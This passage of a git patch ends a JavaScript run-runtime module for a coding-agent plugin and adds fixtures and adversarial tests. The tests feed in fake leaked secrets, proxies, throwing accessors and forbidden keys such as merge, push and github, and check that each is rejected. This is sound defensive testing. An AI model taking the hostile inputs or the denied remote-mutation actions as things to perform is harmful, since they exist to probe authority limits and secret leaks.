!capturedTest(IDEMPOTENCY_KEY_PATTERN, idempotencyKey)) { + failRuntime('invalid_format', 'request_idempotency_key', CONTENT_FREE.invalid_format); + } + requireKey(parsed, 'identity', 'identity'); + const git = requireKey(parsed, 'git', 'git'); + requireKey(parsed, 'provenance', 'provenance'); + requireKey(parsed, 'telemetry', 'telemetry'); + const assignments = parseAssignments(requireKey(parsed, 'assignments', 'assignments')); + const baseSha = baseShaFromGit(git); + const digest = identityDigest(runId, baseSha, idempotencyKey, assignments); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const coordination = await loadCoordination(injected.aggregateAnchor, runId); + if (coordination !== null) { + if (coordination.phase !== AGGREGATE_READY_PHASE) { + failRuntime('runtime_selection_unresolved', 'aggregateAnchor', + CONTENT_FREE.runtime_selection_unresolved); + } + } + const known = runs.get(runId); + if (known && known.digest !== digest) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } + + const stored = await callInjected(injected.runStore.submit, [storeInputFrom(parsed)], + 'runtime_store_failed', 'runStore.submit'); + const created = stored?.created === true; + if (!created && known && known.digest !== digest) { + failRuntime('runtime_identity_conflict', 'run_id', CONTENT_FREE.runtime_identity_conflict); + } + if (!created && known && known.digest === digest) { + const handle = await bindJournal(injected, journals, known, false); + const state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + const lanes = known.assignments.map((assignment) => projectLane(assignment, + pickLane(schedulerReceipt, assignment.assignment_id), null)); + const attention = projectAttention(await loadAttention(injected, runId)); + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(known, { + status: 'idempotent', + created: false, + dispatched: false, + observedAt, + lanes, + journal: projectJournal(handle, known.journal_mode, state), + attention, + cursor, + schedulerReceipt, + }); + } + + const record = { + run_id: runId, + base_sha: baseSha, + digest, + assignments, + request_idempotency_key: idempotencyKey, + journal_mode: coordination !== null ? 'aggregate' : 'legacy', + dispatched: false, + }; + if (!created) { + // Durable P24 identity already exists. Never redispatch. + runs.set(runId, record); + const handle = await bindJournal(injected, journals, record, false); + let state = await journalState(handle); + state = await ensureOpened(handle, state); + const attention = projectAttention(await loadAttention(injected, runId)); + const cursor = await journalCursor(handle, state.revision ?? 0); + const lanes = assignments.map((assignment) => projectLane(assignment, { + status: 'dispatched', + task_id: assignment.task_id, + }, null)); + return receiptFor(record, { + status: 'idempotent', + created: false, + dispatched: false, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention, + cursor, + }); + } + + runs.set(runId, record); + const handle = await bindJournal(injected, journals, record, true); + let state = await journalState(handle); + state = await ensureOpened(handle, state); + const schedulerReceipt = await callInjected(injected.scheduler.submitAssignments, [{ + run_id: runId, + base_sha: baseSha, + assignments, + }], 'runtime_scheduler_failed', 'scheduler.submitAssignments'); + record.dispatched = true; + const lanes = []; + for (const assignment of assignments) { + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + if (schedulerLane?.dispatched !== false && schedulerLaneStatus(schedulerLane) !== 'unresolved') { + state = await ensureChildStarted(handle, state, assignment.assignment_id); + } + lanes.push(projectLane(assignment, schedulerLane, null)); + } + const failed = lanes.some((lane) => lane.status === 'unresolved'); + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: failed ? 'partial' : 'dispatched', + created: true, + dispatched: true, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(null), + cursor, + schedulerReceipt, + }); + }); + } + + async function resumeRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_RESUME_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = await rememberFromStore(runId); + const knownIds = new Set(record.assignments.map((assignment) => assignment.assignment_id)); + const lanesById = new Map(record.assignments.map((assignment) => [assignment.assignment_id, assignment])); + const selected = parseIdList(optionalKey(parsed, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', knownIds); + const cursors = parseCursors(optionalKey(parsed, 'cursors', 'cursors'), lanesById); + for (const assignmentId of cursors.keys()) { + if (!selected.includes(assignmentId)) { + failRuntime('cursor_identity_mismatch', 'cursors', CONTENT_FREE.cursor_identity_mismatch); + } + } + const handle = await bindJournal(injected, journals, record, false); + let state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + assignment_ids: selected, + cursors: [...cursors.values()], + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + + const attentionItems = attentionItemsFrom(optionalKey(parsed, 'attention_items', + 'attention_items')); + let attentionReceipt = await loadAttention(injected, runId); + if (attentionItems !== null) { + attentionReceipt = await latchAttention(injected, record, handle, attentionItems); + } + + const lanes = []; + let pending = false; + for (const assignment of record.assignments) { + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + const status = schedulerLaneStatus(schedulerLane); + let lifecycle = null; + if (selected.includes(assignment.assignment_id) && isSchedulerTerminal(status) + && status !== 'transport_lost') { + lifecycle = await settleAndCleanup(injected, record, assignment, schedulerLane, + 'resume'); + if (lifecycle.final === true) { + const outcome = journalOutcomeFor(status); + if (outcome !== null) { + state = await ensureChildStarted(handle, state, assignment.assignment_id); + state = await acceptChildTerminal(handle, state, assignment.assignment_id, + outcome, lifecycle); + } + } else { + pending = true; + } + } + lanes.push(projectLane(assignment, schedulerLane, lifecycle)); + } + state = await maybeRunTerminal(handle, state, record, lanes); + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: pending ? 'lifecycle_pending' : 'inspected', + created: false, + dispatched: false, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(attentionReceipt), + cursor, + schedulerReceipt, + }); + }); + } + + async function cancelRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_CANCEL_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const cleanupRequested = optionalKey(parsed, 'cleanup', 'cleanup'); + if (cleanupRequested !== undefined && typeof cleanupRequested !== 'boolean') { + failRuntime('invalid_type', 'cleanup', CONTENT_FREE.invalid_type); + } + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = await rememberFromStore(runId); + const knownIds = new Set(record.assignments.map((assignment) => assignment.assignment_id)); + const selected = parseIdList(requireKey(parsed, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', knownIds); + const handle = await bindJournal(injected, journals, record, false); + let state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.cancelAssignments, [{ + run_id: runId, + assignment_ids: selected, + }], 'runtime_scheduler_failed', 'scheduler.cancelAssignments'); + + const lanes = []; + let pending = false; + for (const assignment of record.assignments) { + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + let lifecycle = null; + if (selected.includes(assignment.assignment_id)) { + lifecycle = await settleAndCleanup(injected, record, assignment, schedulerLane, + 'cancel'); + if (lifecycle.final === true) { + state = await ensureChildStarted(handle, state, assignment.assignment_id); + state = await acceptChildTerminal(handle, state, assignment.assignment_id, + 'cancelled', lifecycle); + } else { + pending = true; + } + } + lanes.push(projectLane(assignment, schedulerLane, lifecycle)); + } + state = await maybeRunTerminal(handle, state, record, lanes); + let cleanup = freezeData({ + cleaned: false, + proof_bound: true, + removed: 0, + remaining: null, + unresolved: [], + }); + if (cleanupRequested === true) { + cleanup = await cleanupArtifacts(injected, record, selected, lanes); + } + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: pending ? 'lifecycle_pending' : 'cancelled', + created: false, + cancelled: true, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(await loadAttention(injected, runId)), + cleanup, + cursor, + schedulerReceipt, + }); + }); + } + + async function inspectRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_INSPECT_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const assignmentFilter = optionalKey(parsed, 'assignment_id', 'assignment_id'); + if (assignmentFilter !== undefined && !isAssignmentId(assignmentFilter)) { + failRuntime('invalid_format', 'assignment_id', CONTENT_FREE.invalid_format); + } + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = await rememberFromStore(runId); + if (assignmentFilter !== undefined + && !record.assignments.some((assignment) => assignment.assignment_id === assignmentFilter)) { + failRuntime('runtime_assignment_unknown', 'assignment_id', + CONTENT_FREE.runtime_assignment_unknown); + } + const handle = await bindJournal(injected, journals, record, false); + const state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + const lanes = []; + for (const assignment of record.assignments) { + if (assignmentFilter !== undefined && assignment.assignment_id !== assignmentFilter) { + continue; + } + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + const status = schedulerLaneStatus(schedulerLane); + let lifecycle = null; + if (isSchedulerTerminal(status) && status !== 'transport_lost') { + lifecycle = await invokeLifecycle(injected.settleLocalTaskLifecycle, record, assignment, + schedulerLane?.task_id ?? assignment.task_id, 'inspect', + 'settleLocalTaskLifecycle'); + } + let artifacts = null; + try { + artifacts = await projectArtifacts(injected, record, assignment.assignment_id); + } catch (error) { + if (!(isTypedError(error) && (error.code === 'artifact_bridge_not_found' + || error.code === 'runtime_run_unknown'))) { + throw error; + } + } + lanes.push(freezeData({ + ...projectLane(assignment, schedulerLane, lifecycle), + artifacts, + })); + } + const cursorToken = optionalKey(parsed, 'cursor', 'cursor'); + const cursor = cursorToken !== undefined + ? cursorToken + : await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: lanes.some((lane) => lane.status === 'lifecycle_pending') + ? 'lifecycle_pending' + : 'inspected', + created: false, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(await loadAttention(injected, runId)), + cursor, + schedulerReceipt, + }); + }); + } + + return capturedFreeze({ + submitRun, + resumeRun, + cancelRun, + inspectRun, + }); +} + +capturedFreeze(createRunRuntime); +capturedFreeze(describeRunRuntimeV1); +capturedFreeze(RUN_RUNTIME_ERROR_CODES); +capturedFreeze(RUN_RUNTIME_METHODS); +capturedFreeze(RUN_RUNTIME_DEPENDENCY_KEYS); From 774dd391b2866aa8bb3cf08959568bd4fb39a996 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:51:34 +0000 Subject: [PATCH 133/151] test(run-runtime): prove identity, restart, attention, cancel, and cleanup Cover idempotent submission, unresolved selection, cursor recovery, P34 attention, non-final lifecycle suppression, proof-bound cleanup, hostile inputs, and real P24/P25/R24A/R25B/P27/P34 composition through scoped stubs. --- .../test/fixtures/r1-run-runtime-fixtures.mjs | 564 ++++++++++++++++++ .../test/r1-run-runtime-adversarial.test.mjs | 252 ++++++++ .../test/r1-run-runtime-dependencies.test.mjs | 261 ++++++++ .../test/r1-run-runtime.test.mjs | 397 ++++++++++++ 4 files changed, 1474 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-runtime.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs new file mode 100644 index 0000000..3dc32e7 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs @@ -0,0 +1,564 @@ +// Isolated P33 run-runtime fixtures. Tests own the assertions. +// Scoped stubs implement the frozen injected seams without importing +// scheduler, artifact-bridge, worker, process-boundary, or supervisor. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { createRunRuntime } from '../../mcp/v3/run-runtime.mjs'; +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { BASE_SHA } from './r1-protected-identity-fixtures.mjs'; +import { + ASSIGNMENT_ID, + RUN_ID, + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './r1-run-store-fixtures.mjs'; + +export { ASSIGNMENT_ID, BASE_SHA, RUN_ID, makeStoreRoot, makeSubmission }; + +export const TASK_ID = 'task-writer-0'; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; +export const NOW = '2026-08-25T22:00:00Z'; + +export async function makePrivateRoot(prefix = 'r1-p33-runtime-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function makeAssignment({ + assignmentId = ASSIGNMENT_ID, + taskId = TASK_ID, + role = 'implement', + access = 'writer', + provider = 'grok', + model = 'grok-4', + writeScope = ['src/**'], + required = true, + startingRef = null, +} = {}) { + const assignment = { + assignment_id: assignmentId, + task_id: taskId, + role, + access, + provider, + model, + write_scope: writeScope, + required, + }; + if (startingRef !== null) assignment.starting_ref = startingRef; + return assignment; +} + +export function makeVerifier(assignmentId = 'review-lane') { + return makeAssignment({ + assignmentId, + taskId: `task-${assignmentId}`, + role: 'review', + access: 'read_only', + writeScope: [], + required: false, + }); +} + +export function makeSubmitRequest({ + runId = RUN_ID, + assignments = [makeAssignment()], + submission = makeSubmission({ runId, assignmentId: assignments[0].assignment_id }), +} = {}) { + return { + run_id: runId, + request_idempotency_key: submission.request_idempotency_key, + identity: submission.identity, + git: submission.git, + provenance: submission.provenance, + telemetry: submission.telemetry, + assignments, + }; +} + +function failStub(code, field, message) { + throw new RunContractV1Error(code, field, message); +} + +export function createMemoryRunStore() { + const byId = new Map(); + const byKey = new Map(); + return { + async submit(input) { + const existing = byId.get(input.run_id); + if (existing) { + if (existing.request_idempotency_key !== input.request_idempotency_key + || existing.identity?.digest !== input.identity?.digest) { + failStub('run_identity_conflict', 'run_id', 'Run id already binds a different body.'); + } + return { record: existing, created: false }; + } + if (byKey.has(input.request_idempotency_key)) { + failStub('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + const record = { + schema: 'codex-co-engineer.run-store-record.v1', + run_id: input.run_id, + request_idempotency_key: input.request_idempotency_key, + identity: input.identity, + git: input.git, + provenance: input.provenance, + telemetry: input.telemetry, + canonical_digest: input.request_idempotency_key, + }; + byId.set(input.run_id, record); + byKey.set(input.request_idempotency_key, input.run_id); + return { record, created: true }; + }, + async getByRunId(runId) { + const record = byId.get(runId); + if (!record) failStub('run_store_not_found', 'run_id', 'No run record exists.'); + return record; + }, + async getByIdempotencyKey(key) { + const runId = byKey.get(key); + if (!runId) failStub('run_store_not_found', 'request_idempotency_key', 'No run record exists.'); + return byId.get(runId); + }, + _byId: byId, + }; +} + +function emptyJournalState() { + return { + schema: 'codex-co-engineer.run-journal-state.v1', + revision: 0, + head_hash: 'codex-co-engineer.run-journal.genesis.v1', + run_opened: false, + children: [], + child_count: 0, + event_counts: { + run_opened: 0, child_started: 0, child_progress: 0, child_artifact: 0, + child_terminal: 0, run_terminal: 0, + }, + artifacts_total: 0, + artifact_bytes_total: 0, + run_outcome: null, + terminal: false, + }; +} + +function createJournalHandle() { + const events = []; + const state = emptyJournalState(); + return { + events, + async currentState() { + return { ...state, children: state.children.map((child) => ({ ...child })) }; + }, + async append(event) { + const kind = event.kind; + const data = event.data ?? {}; + if (kind === 'run_opened') state.run_opened = true; + if (kind === 'child_started') { + if (!state.children.some((child) => child.assignment_id === data.assignment_id)) { + state.children.push({ assignment_id: data.assignment_id, outcome: null }); + state.child_count = state.children.length; + } + } + if (kind === 'child_progress') { + const child = state.children.find((row) => row.assignment_id === data.assignment_id); + if (child) child.note = data.note; + } + if (kind === 'child_terminal') { + const child = state.children.find((row) => row.assignment_id === data.assignment_id); + if (child) child.outcome = data.outcome; + } + if (kind === 'run_terminal') { + state.terminal = true; + state.run_outcome = data.outcome; + } + state.event_counts[kind] = (state.event_counts[kind] ?? 0) + 1; + state.revision += 1; + state.head_hash = `sha256:${String(state.revision).padStart(64, 'a')}`; + events.push({ ...event, seq: state.revision }); + return { seq: state.revision, state: { ...state } }; + }, + async cursorAfter(seq) { + return { + seq, + head_hash: seq === 0 + ? 'codex-co-engineer.run-journal.genesis.v1' + : `sha256:${String(seq).padStart(64, 'a')}`, + cursor: `cursor:${seq}`, + }; + }, + async readPage() { + return { events: [...events], next_cursor: null }; + }, + }; +} + +export function createMemoryRunJournal() { + const handles = new Map(); + function obtain(runId, create) { + if (handles.has(runId)) { + if (create) failStub('run_journal_already_exists', 'run_id', 'Journal exists.'); + return handles.get(runId); + } + if (!create) failStub('run_journal_not_found', 'run_id', 'Journal missing.'); + const handle = createJournalHandle(); + handles.set(runId, handle); + return handle; + } + return { + async create(options) { return obtain(options.run_id, true); }, + async open(options) { return obtain(options.run_id, false); }, + async createAggregate(options) { return obtain(options.run_id, true); }, + async openAggregate(options) { return obtain(options.run_id, false); }, + _handles: handles, + }; +} + +export function createMemoryAggregateAnchor({ + phaseByRun = new Map(), +} = {}) { + return { + async getCoordination(runId) { + if (!phaseByRun.has(runId)) { + failStub('aggregate_run_not_found', 'run_id', 'No aggregate run exists.'); + } + return { + schema: 'codex-co-engineer.aggregate-run-coordination.v1', + run_id: runId, + phase: phaseByRun.get(runId), + revision: phaseByRun.get(runId) === 'resolution_ready' ? 2 : 0, + }; + }, + phaseByRun, + }; +} + +export function createMemoryAttentionBatch() { + const batches = new Map(); + const calls = { latch: 0, reply: 0, get: 0, cancelled: [] }; + return { + calls, + async latch(options) { + calls.latch += 1; + const items = options.items ?? []; + for (const item of items) { + if (item.reply_capability === 'unsupported' && typeof options.cancel === 'function') { + await options.cancel({ assignment_id: item.assignment_id }); + calls.cancelled.push(item.assignment_id); + } + } + const record = { + schema: 'codex-co-engineer.attention-batch.v1', + run_id: options.run_id, + batch_id: `att-${options.run_id}`, + revision: 1, + status: 'open', + source: options.source, + items, + complete_candidate_blocked: items.some((item) => item.required !== false + && item.reply_capability === 'unsupported'), + wake: false, + }; + batches.set(options.run_id, record); + return record; + }, + async reply(options) { + calls.reply += 1; + const record = batches.get(options.run_id); + if (!record) failStub('attention_batch_not_found', 'run_id', 'No attention batch.'); + record.status = 'resolved'; + record.reply = options.reply; + return record; + }, + async get(runId) { + calls.get += 1; + return batches.get(runId) ?? null; + }, + }; +} + +function laneFromAssignment(assignment, extra = {}) { + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: extra.attention ?? null, + cancel_confirmed: extra.cancel_confirmed ?? null, + cursor: extra.cursor ?? null, + dispatched: extra.dispatched !== false, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required: assignment.required !== false, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status: extra.status ?? 'dispatched', + task_id: assignment.task_id, + unresolved: extra.unresolved ?? null, + write_scope: assignment.write_scope, + }; +} + +export function createMemoryScheduler({ + inspectStatusByAssignment = new Map(), + cancelConfirmed = true, + delegateErrorFor = new Set(), +} = {}) { + const runs = new Map(); + const calls = { + submit: 0, + resume: 0, + cancel: 0, + delegate: [], + }; + return { + calls, + inspectStatusByAssignment, + async submitAssignments(request) { + calls.submit += 1; + const existing = runs.get(request.run_id); + if (existing) { + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'idempotent', + run_id: request.run_id, + base_sha: existing.base_sha, + created: false, + lanes: existing.lanes, + complete_candidate_blocked: existing.lanes.some((lane) => lane.required + && lane.status === 'unresolved'), + wake: false, + remote_mutated: false, + }; + } + const lanes = []; + for (const assignment of request.assignments) { + calls.delegate.push(assignment.assignment_id); + if (delegateErrorFor.has(assignment.assignment_id)) { + lanes.push(laneFromAssignment(assignment, { + dispatched: false, + status: 'unresolved', + unresolved: { code: 'dispatch_failed' }, + })); + } else { + lanes.push(laneFromAssignment(assignment)); + } + } + runs.set(request.run_id, { + run_id: request.run_id, + base_sha: request.base_sha, + assignments: request.assignments, + lanes, + }); + const failed = lanes.some((lane) => lane.status === 'unresolved'); + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: failed ? 'partial' : 'dispatched', + run_id: request.run_id, + base_sha: request.base_sha, + created: true, + lanes, + complete_candidate_blocked: lanes.some((lane) => lane.required + && lane.status === 'unresolved'), + wake: false, + remote_mutated: false, + }; + }, + async resumeAssignments(request) { + calls.resume += 1; + const record = runs.get(request.run_id); + if (!record) failStub('scheduler_run_unknown', 'run_id', 'Scheduler run unknown.'); + for (const lane of record.lanes) { + if (inspectStatusByAssignment.has(lane.assignment_id)) { + lane.status = inspectStatusByAssignment.get(lane.assignment_id); + } + const cursor = (request.cursors ?? []).find((row) => row.assignment_id === lane.assignment_id); + if (cursor) { + if (cursor.task_id !== lane.task_id) { + failStub('cursor_identity_mismatch', 'cursors', 'Cursor identity mismatch.'); + } + lane.cursor = cursor; + } + } + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'inspected', + run_id: request.run_id, + base_sha: record.base_sha, + created: false, + lanes: record.lanes, + complete_candidate_blocked: record.lanes.some((lane) => lane.required + && (lane.status === 'unresolved' || lane.status === 'failed')), + wake: false, + remote_mutated: false, + }; + }, + async cancelAssignments(request) { + calls.cancel += 1; + const record = runs.get(request.run_id); + if (!record) failStub('scheduler_run_unknown', 'run_id', 'Scheduler run unknown.'); + for (const assignmentId of request.assignment_ids) { + const lane = record.lanes.find((row) => row.assignment_id === assignmentId); + if (!lane) failStub('runtime_assignment_unknown', 'assignment_ids', 'Unknown assignment.'); + lane.status = 'cancelled'; + lane.cancel_confirmed = cancelConfirmed; + if (!cancelConfirmed) { + lane.unresolved = { code: 'safe_cancel_unconfirmed' }; + } + } + return { + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'cancelled', + run_id: request.run_id, + base_sha: record.base_sha, + created: false, + lanes: record.lanes, + complete_candidate_blocked: false, + wake: false, + remote_mutated: false, + }; + }, + _runs: runs, + }; +} + +export function createMemoryArtifactBridge() { + const artifacts = new Map(); + const calls = { capture: 0, project: 0, cleanup: [] }; + const keyOf = (runId, assignmentId) => `${runId}:${assignmentId}`; + return { + calls, + async captureAssignmentArtifacts(input) { + calls.capture += 1; + artifacts.set(keyOf(input.run_id, input.assignment_id), { + run_id: input.run_id, + assignment_id: input.assignment_id, + relative_path: input.relative_path, + }); + return { + schema: 'codex-co-engineer.run-artifact-bridge-capture.v1', + run_id: input.run_id, + assignment_id: input.assignment_id, + created: true, + }; + }, + async projectAssignmentArtifacts(input) { + calls.project += 1; + const record = artifacts.get(keyOf(input.run_id, input.assignment_id)); + return { + schema: 'codex-co-engineer.run-artifact-bridge-projection.v1', + run_id: input.run_id, + assignment_id: input.assignment_id, + artifacts: record ? [record] : [], + }; + }, + async cleanupRunArtifacts(input) { + calls.cleanup.push(input); + if (input.proof?.run_id !== input.run_id) { + failStub('artifact_bridge_cleanup_unproven', 'proof', 'Proof run id mismatch.'); + } + let removed = 0; + for (const [key, record] of [...artifacts.entries()]) { + if (record.run_id !== input.run_id) continue; + if (input.proof.assignment_ids + && !input.proof.assignment_ids.includes(record.assignment_id)) { + continue; + } + artifacts.delete(key); + removed += 1; + } + return { + schema: 'codex-co-engineer.run-artifact-bridge-cleanup.v1', + run_id: input.run_id, + cleaned: true, + removed, + remaining: [...artifacts.values()].filter((row) => row.run_id === input.run_id).length, + unresolved: [], + }; + }, + }; +} + +export function createLifecycleFns({ + final = true, + cleanupStatus = 'normal', + reason = null, + settleCalls = [], + cleanupCalls = [], + failSettle = false, + leakSecret = false, +} = {}) { + const settleLocalTaskLifecycle = async (root, task, runtime, dependencies) => { + settleCalls.push({ root, task, runtime, dependencies }); + if (failSettle) throw new Error(HOSTILE_SECRET); + const record = { + version: 1, + task_id: task.id, + stored_status: 'completed', + projected_status: final ? 'succeeded' : 'transport_lost', + public_state: final ? 'succeeded' : 'transport_lost', + final, + cleanup: { status: cleanupStatus, code: reason }, + boundary: { status: final ? 'inactive_empty' : 'active' }, + lock: { status: final ? 'unlocked' : 'active' }, + reason, + }; + if (leakSecret) record.secret = HOSTILE_SECRET; + return record; + }; + const cleanupLocalTaskLifecycle = async (root, task, runtime, dependencies) => { + cleanupCalls.push({ root, task, runtime, dependencies }); + return settleLocalTaskLifecycle(root, task, runtime, dependencies); + }; + return { + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + settleCalls, + cleanupCalls, + }; +} + +export function createClock(now = NOW) { + return () => now; +} + +export function createRuntime(overrides = {}) { + const runStore = overrides.runStore ?? createMemoryRunStore(); + const runJournal = overrides.runJournal ?? createMemoryRunJournal(); + const aggregateAnchor = overrides.aggregateAnchor ?? createMemoryAggregateAnchor(); + const attentionBatch = overrides.attentionBatch ?? createMemoryAttentionBatch(); + const scheduler = overrides.scheduler ?? createMemoryScheduler(); + const artifactBridge = overrides.artifactBridge ?? createMemoryArtifactBridge(); + const lifecycle = overrides.lifecycle ?? createLifecycleFns(); + const clock = overrides.clock ?? createClock(); + const runtime = createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock, + }); + return { + runtime, + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + lifecycle, + clock, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs new file mode 100644 index 0000000..69aaab9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs @@ -0,0 +1,252 @@ +// P33 run-runtime adversarial coverage: hostile keys, proxies, accessors, +// replay/fallback/direct-mode/merge authority, leaked secrets, forged +// receipts, and denied remote mutation. + +import assert from 'node:assert/strict'; +import { spawnSync } from 'node:child_process'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunRuntime } from '../mcp/v3/run-runtime.mjs'; +import { + ASSIGNMENT_ID, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + TASK_ID, + createClock, + createLifecycleFns, + createMemoryAggregateAnchor, + createMemoryArtifactBridge, + createMemoryAttentionBatch, + createMemoryRunJournal, + createMemoryRunStore, + createMemoryScheduler, + createRuntime, + makeAssignment, + makeSubmitRequest, +} from './fixtures/r1-run-runtime-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + }); +} + +function assertContentFree(error) { + const text = `${error.code}|${error.path}|${error.message}`; + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('github.com'), false); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200); +} + +function countingProxy(target) { + let gets = 0; + return { + proxy: new Proxy(target, { + get(object, key, receiver) { + gets += 1; + return Reflect.get(object, key, receiver); + }, + }), + gets: () => gets, + }; +} + +test('proxy, symbol, and accessor inputs fail closed without invoking traps', async () => { + const { runtime } = createRuntime(); + const proxy = countingProxy(makeSubmitRequest()); + const proxyError = await errorOf(() => runtime.submitRun(proxy.proxy)); + assert.equal(proxyError.code, 'proxy_denied'); + assert.equal(proxy.gets(), 0); + assertContentFree(proxyError); + + const symbolled = makeSubmitRequest(); + Object.defineProperty(symbolled, Symbol('secret'), { value: HOSTILE_SECRET, enumerable: true }); + const symbolError = await errorOf(() => runtime.submitRun(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); + + const accessor = makeSubmitRequest(); + Object.defineProperty(accessor, 'trap', { + enumerable: true, + get() { throw new Error(HOSTILE_SECRET); }, + }); + const accessorError = await errorOf(() => runtime.submitRun(accessor)); + assert.ok(['accessor_property_denied', 'unknown_key', 'exotic_prototype_denied'] + .includes(accessorError.code)); + assertContentFree(accessorError); +}); + +test('replay, fallback, direct-mode, merge, and GitHub keys fail with precise codes', async () => { + const { runtime } = createRuntime(); + const request = makeSubmitRequest(); + const cases = [ + ['fallback', 'replay_or_fallback_denied'], + ['replay', 'replay_or_fallback_denied'], + ['workspace_mode', 'direct_mode_rejected'], + ['direct_mode', 'direct_mode_rejected'], + ['merge', 'merge_authority_denied'], + ['push', 'merge_authority_denied'], + ['create_pr', 'merge_authority_denied'], + ['github', 'remote_mutation_denied'], + ['remote', 'remote_mutation_denied'], + ['worktree', 'lifecycle_authority_denied'], + ['lock', 'lifecycle_authority_denied'], + ['candidate', 'candidate_authority_denied'], + ['lifecycle_root', 'lifecycle_authority_denied'], + ]; + for (const [key, code] of cases) { + const error = await errorOf(() => runtime.submitRun({ ...request, [key]: true })); + assert.equal(error.code, code, key); + assertContentFree(error); + } +}); + +test('unknown assignment, cursor mismatch, and unknown run fail closed', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + + const unknownRun = await errorOf(() => harness.runtime.inspectRun({ run_id: 